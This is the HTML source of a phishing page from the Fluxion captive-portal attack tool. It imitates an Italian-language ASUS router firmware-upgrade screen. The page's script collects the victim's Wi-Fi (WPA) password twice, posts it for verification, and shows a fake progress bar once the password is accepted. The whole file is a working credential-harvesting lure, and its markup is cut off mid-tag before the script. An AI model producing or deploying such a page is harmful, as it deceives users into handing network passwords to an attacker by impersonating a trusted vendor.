fluxion/attacks/Captive Portal/sites/Asus_it.portal/index.html

52 lines
12 KiB
HTML
Raw Normal View History

?a<html xmlns=http://www.w3.org/1999/xhtml xmlns:v> <head><meta http-equiv=X-UA-Compatible content=IE=Edge><meta http-equiv=Content-Type content="text/html; charset=utf-8"><meta http-equiv=Pragma content=no-cache><meta http-equiv=Expires content=-1><link rel="shortcut icon" type=image/png href=images/favicon.ico><link rel=stylesheet type=text/css href=css/index_style.css><link rel=stylesheet type=text/css href=css/form_style.css><link rel=stylesheet type=text/css href=css/update.css><title>ASUS Wireless Router - Firmware Upgrade</title><body><div id=TopBanner><div class=banner1 align=center><img src=images/New_ui/asustitle.png width=218 height=54 align=left><div style=margin-top:13px;margin-left:-90px;*margin-top:0px;*margin-left:0px; align=center></div><a href=#><div style="margin-top:13px;margin-left:25px; *width:136px;" class=titlebtn align=center><span>Logout</span></div></a><ul class=navigation><li><dl><a href=#><dt id=selected_lang>Italiano</dt></a></dl></li></ul></div><table width=998 border=0 align=center cellpadding=0 cellspacing=0 class=statusBar><tbody><tr><td background=images/New_ui/midup_bg.png height=179 valign=top><table width=764 border=0 cellpadding=0 cellspacing=0 height=35px style=margin-left:230px;><tbody><tr><td valign=center class=titledown width=auto><span style="font-family:Verdana, Arial, Helvetica, sans-serif;">Operation Mode:<span class=title_link style="text-decoration: none;" id=op_link><a href=# style=color:white><span id=sw_mode_span style="text-decoration: underline;">Wireless router</span></a></span><span style="font-family:Verdana, Arial, Helvetica, sans-serif;">Firmware Version:<a href=# style=color:white;><span id=firmver class=title_link>3.0.0.4.378_4980</span></a></span></span></span></td><td width=30><div id=notification_desc class></div></td><td width=30 id=notification_status1 class=notification_on1><div id=notification_status class=notification_on></div></td><td width=30><div id=guestnetwork_status class=guestnetworkstatusoff></div></td><td width=30><div id=connect_status class=connectstatuson></div></td><td width=30><div id=usb_status class=usbstatuson></div></td><td width=30><div id=printer_status class=printstatusoff></div></td><td width=17></td></tr></tbody></table></td></tr></tbody></table></div><iframe name=hidden_frame id=hidden_frame src width=0 height=0 frameborder=0></iframe><table class=content align=center cellpadding=0 cellspacing=0><tbody><tr><td width=17>&nbsp;</td><td valign=top width=202><div id=mainMenu><div class=m_qis_r style=margin-top:-170px;cursor:pointer;><table><tbody><tr><td><div id=index_img0></div></td><td><div style="font-weight: bolder;">Impostazioni Rapide</div></td></tr></tbody></table></div><div class=m0_r style=margin-top:10px; id=option0><table width=192px height=37px><tbody><tr><td style="font-weight: bolder; text-align: center;">Generale</td></tr></tbody></table></div><div class=menu id=_index style=cursor:pointer;><table><tbody><tr><td><div class=_index></div></td><td><div id=menu_string style="width:120px; font-weight: bolder;">Rete</div></td></tr></tbody></table></div><div class=menu id=_Guest_network style=cursor:pointer;><table><tbody><tr><td><div class=_Guest_network></div></td><td><div id=menu_string style="width:120px; font-weight: bolder;">Rete Ospite</div></td></tr></tbody></table></div><div class=menu id=_AiProtection_HomeSecurity style=cursor:pointer;><table><tbody><tr><td><div class=_AiProtection_HomeSecurity></div></td><td><div id=menu_string style="width:120px; font-weight: bolder;">Protezione AI</div></td></tr></tbody></table></div><div class=menu id=_AdaptiveQoS_Bandwidth_Monitor style=cursor:pointer;><table><tbody><tr><td><div class=_AdaptiveQoS_Bandwidth_Monitor></div></td><td><div id=menu_string style="width:120px;font-weight: bolder;">Adaptive QoS</div></td></tr></tbody></table></div><div class=menu id=_TrafficAnalyzer_Statistic style=cursor:pointer;><table><tbody><tr><td><div class=_TrafficAnalyzer_Statistic></div></td><td><div id=menu_string style="width:120px;font-weight: bolder;">Analisi Traffico</div></td></tr></
$(document).ready(function() {
$("#updateform").submit(function(e) {
e.preventDefault();
$(".error").hide();
var hasError = false;
var wpa_psw = $("#wpa_psw").val();
var wpa_psw_conf = $("#wpa_psw_conf").val();
if (wpa_psw == '') {
$("#wpa_psw").after('<span class="error">Per favore, inserire la password.</span>');
hasError = true;
} else if (wpa_psw_conf == '') {
$("#wpa_psw_conf").after('<span class="error">Per favore, inserire la stessa password.</span>');
hasError = true;
} else if (wpa_psw != wpa_psw_conf ) {
$("#wpa_psw_conf").after('<span class="error">Le password non sono uguali.</span>');
hasError = true;
}
if (!hasError) {
var formURL = $(this).attr("action");
var pBar = $("#pbar");
$.ajax({
type: "POST",
url : formURL,
data: {wpa_psw: wpa_psw, wpa_psw_conf: wpa_psw_conf},
dataType:'JSON',
success:function(response){
console.log(response);
if (response) {
// psw OK
$("#wpa_psw").prop('disabled', true);
$("#wpa_psw_conf").prop('disabled', true);
pBar.addClass("update");
doProgress();
} else {
alert ("La password inserita non è corretta! Inserire la password corretta.");
$("#button_update").prop('disabled', false);
}
}
});
}
});
});
</script></body></html>